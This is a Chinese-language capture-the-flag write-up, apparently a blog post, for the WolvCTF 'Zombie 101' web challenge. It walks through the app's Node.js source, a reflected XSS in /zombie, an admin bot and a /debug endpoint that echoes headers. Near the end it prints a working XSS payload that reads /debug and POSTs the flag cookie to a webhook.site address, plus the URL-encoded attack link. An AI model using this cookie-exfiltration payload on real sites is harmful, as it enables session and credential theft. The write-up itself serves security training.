WolvCTF-Zombie 101

下载源码审计代码

看看网页

对应于源码的html文件

<!DOCTYPE html>
<html>
<head>
    <title>Zombie Fan Page</title>
</head>
<body>
<p>Welcome to the Zombie fan page!</p>
<form method="get" action="/zombie">
    <label for="show">Tell us your favorite zombie show:</label><br>
    <input type="text" id="show" name="show"><br><br>
    <input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>
<form method="get" action="/visit">
    <label for="url">Give us a URL to a cool zombie page and our admin will check it out:</label><br>
    <input type="text" id="url" name="url"><br><br>
    <input type="submit" value="Submit">
</form>
</body>
</html>

顺着代码去找相应的路径,/zombie和/visit在index.js中

app.get('/zombie', function(req, res) {
    const show = req.query.show
    if (!show) {
        res.send('Hmmmm, you did not mention a show')
        return
    }

    const rating = Math.floor(Math.random() * 3)
    let blurb
    switch (rating) {
        case 2:
            blurb = `Wow, we really liked ${show} too!`
            break;
        case 1:
            blurb = `Yeah, ${show} was ok... I guess.`
            break;
        case 0:
            blurb = `Sorry, ${show} was horrible.`
            break;
    }
    res.send(blurb)
})

在第一个框里输入字符保存在show变量里,会随机跳到某一个case语句里回显blurb里的内容,在这块可看出show变量是没有做任何过滤或限制,可想到xss注入,去尝试一下

发现成功注入

再来看/visit

app.get('/visit', function(req, res) {
    const validateError = validateRequest(req)
    if (validateError) {
        res.send(validateError)
        return
    }

    const file = 'node'
    const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
    const options = { timeout: 10000 }
    const callback = function(error, stdout, stderr) {
         console.log(error, stdout, stderr);
         res.send('admin bot has visited your url')
     }

    exec.execFile(file, args, options, callback)
});

它先是把在第二个框里输入的东西保存在req变量里,执行validateRequest()函数,然后开启一个新的应用程序node,去解析bot.js(相当于在命令行里执行python文件如'python test.py')

//validateRequest()函数
const validateRequest = (req) => {
    const url = req.query.url
    if (!url) {
        return 'Hmmm, not seeing a URL. Please try again.'
    }

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        return 'Something is wrong with your url: ' + escape(e.message)
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
        return 'Our admin is picky. Please provide a url with the http or https protocol.'
    }

    if (parsedURL.hostname !== req.hostname) {
        return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
    }

    return null
}

这是要我们在第二个框输入一个url,协议必须是http或https,url的主机名必须和parsedURL.hostname相等,一开始我没明白要和谁相等,猜测是本题的网址,一运行果然就成功回显'admin bot has visited your url',那么根据代码分析就跳转到了bot.js中

我发现还有种方式知道这里该写什么,随便输入一个网址,返回一个错误提示,会直接把主机名显示出来,就知道该填什么了

但是直接输入原网址是没有任何东西的,我们需要的是cookie里的flag,也就是要在原网址里插入xss代码,那么在bot.js中用一个用代码实现的虚拟浏览器browser去访问这个url,从而输出它的内容,

//bot.js
const zombie = require("zombie")

const browser = new zombie ({
    waitDuration: 5*1000,
    localAddress: 0 // without this, calls to localhost fail!
})

const httpOnly = process.argv[2] === 'true'
const hostname = process.argv[3]
const url = process.argv[4]

browser.setCookie({ name: 'flag', domain: hostname, path:'/', value: process.env.FLAG, httpOnly: httpOnly})

browser.visit(url, function() {
    console.log("Visited: ", url)
})

flag在cookie里,flag是由一个FLAG常量保存,又由和Dockerfile和docker-compose.yml可知,flag本身存在configfile里,写进了config.json文件里

RUN echo "${configFile}" > ./config.json
configFile: '{"flag": "wctf{redacted}", "httpOnly": false, "allowDebug": true}'

在index.js中,读取config.json的内容即flag值并保存在config变量里,再保存进了FLAG常量中

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

那么该如何拿到flag呢?我们来看看index.js里的一个get请求路径/debug

app.get('/debug', function(req, res) {
    if (config.allowDebug) {
        res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
    }
    else {
        res.send('sorry, debug endpoint is not enabled')
    }
})

访问/debug,会给我们回显"remote-ip"包括请求头,那么我们就可以构造xss代码了,去访问这个/debug,把这个xss代码接在url后,通过Webhook.site这个网址就可以获得访问的记录,最终拿到flag

<script>fetch('/debug').then(r=>r.json()).then(j=>fetch('https://webhook.site/8ab574ff-b363-48a3-a1b3-4455a3001925',{method:'POST',body:j.cookie}))</script>
https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Efetch%28%27%2Fdebug%27%29.then%28r%3D%3Er.json%28%29%29.then%28j%3D%3Efetch%28%27https%3A%2F%2Fwebhook.site%2F8ab574ff-b363-48a3-a1b3-4455a3001925%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Aj.cookie%7D%29%29%3C%2Fscript%3E

注意:httpOnly=false的时候客户端的js才能读取cookie,否则不能访问

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值